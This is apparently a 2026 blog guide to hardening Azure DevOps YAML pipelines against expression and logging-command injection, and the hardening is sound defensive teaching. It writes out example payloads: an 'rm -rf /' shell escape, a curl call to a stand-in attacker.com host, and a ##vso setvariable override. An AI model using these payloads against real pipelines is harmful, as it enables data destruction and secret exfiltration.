Expression Security: Preventing Injection and Hardening Your YAML

Apr 27, 2026 min read

“Enter your environment name: prod; rm -rf /”. If that input reached your pipeline, would it crash your production server? Most DevOps engineers worry about network firewalls and SSH keys, but they leave a massive back door open: Expression Injection. In the rush to build “dynamic” pipelines, we often blindly trust user-provided parameters and runtime variables, turning our YAML into an execution engine for malicious actors.

Azure DevOps expressions are not just for logic; they are interpolation engines. When you use the macro syntax ($( )) without sanitization, you are performing a raw string replacement on a shell script. A malicious user can provide a value that “escapes” the intended command, allowing them to steal secrets, modify source code, or bypass deployment approvals. This guide teaches you the mechanics of expression injection and provides a manual for hardening your YAML logic using typed parameters and safe ingestion patterns.

1. The Mechanics of Expression Injection

To secure your pipeline, you must understand how different syntaxes handle untrusted data.

1.1: Why $( ) is the Biggest Risk

The macro syntax $(variableName) is a raw string replacement performed by the agent just before a task runs. If you use it inside a script block, you are creating a shell injection vulnerability.

Anatomy of a Macro Injection

sequenceDiagram participant Input as [ UNTRUSTED INPUT ] participant Bash as [ BASH TASK (AGENT) ] participant Res as [ RESULT ] note over Input: 1. input = 'Admin" && rm' Input->>Bash: Inject note over Bash: 2. Expand `$(input)`
3. [ RAW STRING REPLACE ] Bash->>Res: Execute note over Res: echo "User: Admin"
&& rm -rf /

[ VULNERABLE ]

Vulnerable Example:

- script: echo "Hello $(userName)"

If an attacker provides userName as Admin" && curl http://attacker.com/leak #, the agent executes: echo "Hello Admin" && curl http://attacker.com/leak #" The attacker has successfully escaped the echo command to run a second, malicious command.

1.2: Logging Command Injection (Clobbering)

Azure DevOps uses “Logging Commands” (e.g., ##vso[...]) to communicate between scripts and the orchestrator. If your pipeline logs untrusted data—like a PR title or a commit message—an attacker can include a command to overwrite internal variables. For example, a commit message containing ##vso[task.setvariable variable=isProduction]true could maliciously flip a logic gate in a downstream job.

2. Hardening with Typed Parameters

The first line of defense is restricting what data can enter your pipeline at queue time.

2.1: Moving Beyond “String”

The string parameter type is dangerous because it accepts any sequence of characters. In 2026, the standard practice is to use the values: property to create a restricted dropdown in the portal.

parameters:
- name: env
  type: string
  default: 'dev'
  values: ['dev', 'staging', 'prod']

This ensures that only known-good values can be passed to your logic, preventing shell escapes entirely at the input layer.

2.2: The Boolean and Number Shield

Typed parameters like boolean and number provide native validation. A boolean parameter cannot contain a malicious curl command; the expansion engine will reject the input before the pipeline even starts. Use these types for toggles and counts to minimize your attack surface.

3. Sanitizing Runtime Variables

When you must work with runtime data (like branch names or user IDs), follow the “Safe Ingestion” pattern.

3.1: The “Safe Ingestion” Pattern

Never use $( ) directly in a script block. Instead, map the variable to a shell environment variable in the task’s env: section. Shell engines handle environment variables as data, not as part of the command string, making them immune to injection.

The Safe Ingestion Pattern (Defense-in-Depth)

sequenceDiagram participant YAML as [ YAML EXPRESSION ] participant Map as [ TASK ENV MAPPING ] participant Shell as [ SHELL SCRIPT ] note over YAML: 1. $(untrusted) YAML->>Map: Provide note over Map: 2. Map to $SEC_VAR
(Orchestrator) Map->>Shell: Set env var note over Shell: 3. echo "$SEC_VAR"
(Shell Data)

[ SECURE ] Shell-->>YAML: Safe execution
- script: echo "Hello $USER_NAME"
  env:
    USER_NAME: $(untrustedInput) # Safe mapping

3.2: Using readonly for Constants

Mark your security-critical variables as readonly: true in your YAML files. This prevents any subsequent task or script from maliciously “clobbering” the value using the task.setvariable command.

4. Building a “Security Wrapper” Template

Individual repositories should not define their own security standards. Instead, use the extends keyword to force all pipelines to follow a central, hardened template.

The Security Wrapper Hierarchy

flowchart TD Layer3["Layer 3: Extended Templates
(Final logic with hardened structure)"] Layer2["Layer 2: Policy Interceptor
(Validation of parameters, regex checks)"] Layer1["Layer 1: Typed Parameters
(Drop-downs, Booleans, Numbers ONLY)"] Layer3 --> Layer2 Layer2 --> Layer1

The Security Wrapper template validates all incoming parameters against an internal “Allow List” before passing them to any execution logic. This centralizes your security posture and ensures that a new injection protection can be applied to every repository in the organization with a single commit.

5. Auditing and Monitoring for Injection

In 2026, GitHub Advanced Security for Azure DevOps (GHAzDO) natively scans your YAML files for expression injection patterns during the Pull Request phase. However, you should still monitor your logs for the secret_scanning_push_protection.bypass and task.setvariable events.

Additionally, enable the “Shell Argument Validation” toggle in your Project Settings (Pipelines -> Settings). This feature allows the agent to automatically block common injection characters like ; and | within macro expansions.

Send your pipeline execution metadata to a security information and event management (SIEM) tool like Microsoft Sentinel. Anomalies—such as a developer overriding a readonly variable or providing a parameter with high entropy—should trigger an automated security review.

Key Takeaways

  1. Macro Syntax is Unsafe: Avoid $( ) in script blocks; map to environment variables instead.
  2. Strict Typing is Mandatory: Use values: to restrict string parameters to known-good options.
  3. Audit Your Entrances: Treat every user-provided parameter and PR metadata field as untrusted data.
  4. Shift-Left with GHAzDO: Use automated scanning to catch injection patterns before they reach your main branch.

Sources